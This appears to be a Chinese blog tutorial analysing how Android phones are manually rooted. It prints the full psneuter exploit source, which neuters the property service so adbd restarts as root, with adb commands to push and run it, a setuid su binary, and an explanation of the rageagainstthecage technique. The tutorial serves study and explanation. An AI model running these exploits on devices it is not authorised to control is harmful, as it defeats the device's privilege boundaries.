关于手动提取Android手机root权限原理的解析
关于如何去获取Android手机root权限的教程网上很多,但是千篇一律,他们都是使用相同或者类似的工具执行相同或者类似的流程。
千篇一律的提取权限流程:
- 获取临时root权限 (使用adb工具来上传几个必要的工具,psneuter、su和superuser.apk,修改psneuter的权限并且执行以提取临时root权限)
- 拷贝su和superuser.apk到系统目录(有root权限的前提下完成)
- 安装RE(RootExplorer)来检查是否正常获取到root权限。
在这篇文章我想分析的是,在提取root权限的过程中使用到的这些工具或者文件到底是做什么的,然后再联系每个步骤说明为整个过程。
1. 工具分析
1.1 psneuter
源文件地址:https://github.com/tmzt/g2root-kmod/blob/master/scotty2/psneuter/psneuter.c
// psneuter.c, written by scotty2.
// neuter the android property service.
// ashmem allows us to restrict permissions for a page further, but not relax them.
// adb relies on the ability to read ro.secure to know whether to drop its privileges or not;
// if it can't read the ro.secure property (because perhaps it couldn't map the ashmem page... :)
// then it will come up as root under the assumption that ro.secure is off.
// this will have the unfortunate side effect of rendering any of the bionic userspace that relies on the property
// service and things like dns broken.
// thus, we will want to use this, see if we can fix the misc partition, and downgrade the firmware as a whole to something more root friendly.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <linux/ioctl.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
#include <stdint.h>
#define ASHMEM_NAME_LEN 256
#define __ASHMEMIOC 0x77
#define ASHMEM_SET_NAME _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN])
#define ASHMEM_GET_NAME _IOR(__ASHMEMIOC, 2, char[ASHMEM_NAME_LEN])
#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)
#define ASHMEM_GET_SIZE _IO(__ASHMEMIOC, 4)
#define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long)
#define ASHMEM_GET_PROT_MASK _IO(__ASHMEMIOC, 6)
#define ASHMEM_PIN _IOW(__ASHMEMIOC, 7, struct ashmem_pin)
#define ASHMEM_UNPIN _IOW(__ASHMEMIOC, 8, struct ashmem_pin)
#define ASHMEM_GET_PIN_STATUS _IO(__ASHMEMIOC, 9)
#define ASHMEM_PURGE_ALL_CACHES _IO(__ASHMEMIOC, 10)
int main(int argc, char **argv, char **envp)
{
char *workspace;
char *fdStr;
char *szStr;
char *ppage;
int fd;
long sz;
DIR *dir;
struct dirent *dent;
char cmdlinefile[PATH_MAX];
char cmdline[PATH_MAX];
pid_t adbdpid = 0;
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
//获取环境变量ANDROID_PROPERTY_WORKSPACE的值,比如9,32768代表句柄为9,大小为32768的内存区域。
workspace = getenv("ANDROID_PROPERTY_WORKSPACE");
if(!workspace)
{
fprintf(stderr, "Couldn't get workspace.\n");
exit(1);
}
fdStr = workspace;
if(strstr(workspace, ","))
*(strstr(workspace, ",")) = 0;
else
{
fprintf(stderr, "Incorrect format of ANDROID_PROPERTY_WORKSPACE environment variable?\n");
exit(1);
}
szStr = fdStr + strlen(fdStr) + 1;
fd = atoi(fdStr);
sz = atol(szStr);
//使用mmap将刚ANDROID_PROPERTY_WORKSPACE的值映射到ppage
if((ppage = mmap(0, sz, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED)
{
fprintf(stderr, "mmap() failed. %s\n", strerror(errno));
exit(1);
}
//使用ioctl将Ashmem共享内存设置为不可读写。
if(ioctl(fd, ASHMEM_SET_PROT_MASK, 0))
{
fprintf(stderr, "Failed to set prot mask (%s)\n", strerror(errno));
exit(1);
}
printf("property service neutered.\n");
printf("killing adbd. (should restart in a second or two)\n");
// now kill adbd.
//杀死当前的adbd进程,等待init进程重启adbd进程。
dir = opendir("/proc");
if(!dir)
{
fprintf(stderr, "Failed to open /proc? kill adbd manually... somehow\n");
exit(1);
}
while((dent = readdir(dir)))
{
if(strspn(dent->d_name, "0123456789") == strlen(dent->d_name))
{
// pid dir
strcpy(cmdlinefile, "/proc/");
strcat(cmdlinefile, dent->d_name);
strcat(cmdlinefile, "/cmdline");
if((fd = open(cmdlinefile, O_RDONLY)) < 0)
{
fprintf(stderr, "Failed to open cmdline for pid %s\n", dent->d_name);
continue;
}
if(read(fd, cmdline, PATH_MAX) < 0)
{
fprintf(stderr, "Failed to read cmdline for pid %s\n", dent->d_name);
close(fd);
continue;
}
close(fd);
// printf("cmdline: %s\n", cmdline);
if(!strcmp(cmdline, "/sbin/adbd"))
{
// we got it.
adbdpid = atoi(dent->d_name);
break;
}
}
}
if(!adbdpid)
{
fprintf(stderr, "Failed to find adbd pid :(\n");
exit(1);
}
if(kill(adbdpid, SIGTERM))
{
fprintf(stderr, "Failed to kill adbd (%s)\n", strerror(errno));
exit(1);
}
return 0;
}
make和run的脚本:
#make
#!/bin/sh
arm-linux-gnueabi-gcc -opsneuter -static psneuter.c
#run
adb push psneuter /data/local/tmp
adb shell /data/local/tmp/psneuter
sleep 5
adb shell
1.2 su
/*
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
**
** http://www.apache.org/licenses/LICENSE-2.0
**
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <dirent.h>
#include <errno.h>
#include <sys/stat.h>
#include <unistd.h>
#include <time.h>
#include <pwd.h>
static int executionFailure(char *context)
{
fprintf(stderr, "su: %s. Error:%s\n", context, strerror(errno));
return -errno;
}
static int permissionDenied()
{
// the superuser activity couldn't be started
printf("su: permission denied\n Fail to call setuid or setgid\nPls check permission!!\nchmod 6755 su\n");
return 1;
}
int main(int argc, char **argv)
{
//运行su需要超级权限,6755
if(setgid(0) || setuid(0)) {
return permissionDenied();
}
char *exec_args[argc + 1];
exec_args[argc] = NULL;
exec_args[0] = "sh";
int i;
for (i = 1; i < argc; i++)
{
exec_args[i] = argv[i];
}
execv("/system/xbin/su", exec_args);
return executionFailure("sh");
}
1.3 superuser.apk
TBD
1.4 rootexplorer.apk
TBD
2. 流程分析
2.1 获取临时root权限
adbd进程是运行在手机上的一个守护进程,他负责解释并运行PC传送过来的命令为开发者提供调试服务。该进程由init进程创建,但是创建后自身通过setuid系统调用设置运行的用户为shell用户。所以我们在手机中执行ps命令看到的adbd进程是以shell用户身份运行的。
如下图ps执行结果的倒数第三行所示:
获取root权限的关键就是想办法让adbd进程重新以root身份运行,这样通过电脑送过来的命令也就能够以root身份运行了。我们期盼如下的结果:
那么如何达到这一结果便成了提取root权限的关键所在。目前网上流传的有两种方法以达到这一目的:
1,让adbd重启,同时读取property失败,即使adbd:main中对于ro.secure为否。这种情况下便不会运行setuid来降至shell用户。
2,让adbd重启,读取property正常,尝试使setuid运行失败,便可以保持root用户身份。网上使用rageagainstthecage程序来达到这一目的的就是这个原理。(杀死adbd之后,以shell用户身份创建足够多的进程-系统允许的每个用户最大进程数,然后setuid便会运行失败)
本文中第1.1节介绍的psneuter即是利用第一种原理达到目的的,详见代码注释部分。
2.2 利用临时root权限更改系统文件
在adbd获取临时root权限的时机下,adb通过pc连接到adbd便也同理是root用户。接下来便通过此root权限将伪造的su:4755(切换用户的系统命令)修改到系统文件夹之下(通常为/system/bin或者/system/xbin)以便日后使用。同理superuser.apk:644也被放置在系统分区之下。